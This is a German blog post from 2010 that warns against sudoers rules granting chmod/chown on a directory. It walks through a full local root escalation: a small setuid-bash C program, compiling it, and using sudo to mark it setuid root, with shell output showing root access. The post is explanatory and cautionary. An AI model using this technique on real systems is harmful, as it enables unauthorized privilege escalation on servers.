Security fail pt1: sudo chmod/chown

Posted on the April 8th, 2010 under allgemein, hacks, wissen by stefan

20080918 Picard Facepalm Security fail pt1: sudo chmod/chown

Auf einem Webserver fand ich kürzlich eine sudoers-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden.

user@srv2342: ~> id
uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users)



Ich brauche zuerst ein kleines C-Tool:

user@srv2342: ~> cat > /foo/y.c
#include
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
STRG-D

Compilieren:

user@srv2342:/foo> cd /foo; gcc y.c -o y

Jetzt machen wir sudo-magic und erhalten ein SetUID-Bit:

user@srv2342:/foo> sudo /bin/chown 0:0 /foo/y
user@srv2342:/foo> sudo /bin/chmod 4775 /foo/y
user@srv2342:/foo ls -l
total 16
-rwsrwxr-x 1 root root 9217 Mar 26 14:52 y
-rw-r----- 1 user users 101 Mar 26 14:51 y.c

Root werden:

user@srv2342:/foo> ./y
srv2342:/foo # id
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)

Owned! ;)

Related posts:

Twitter Post | Print Post

9 Responses to 'Security fail pt1: sudo chmod/chown'

  1. Gravatar 08. April 2010 at 23:19
    Frank
  2. Gravatar 09. April 2010 at 06:23
    martin
  3. Gravatar 09. April 2010 at 07:02
    Horst
  4. Gravatar 09. April 2010 at 08:13
    ChristianS
  5. Gravatar 09. April 2010 at 09:00
    Horst
  6. Gravatar 09. April 2010 at 09:08
    Kinch
  7. Gravatar 09. April 2010 at 11:38
    stefan
  8. Gravatar 09. April 2010 at 18:50
    Tim
  9. Gravatar 09. April 2010 at 23:10
    stefan

Leave a Reply




XHTML::
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>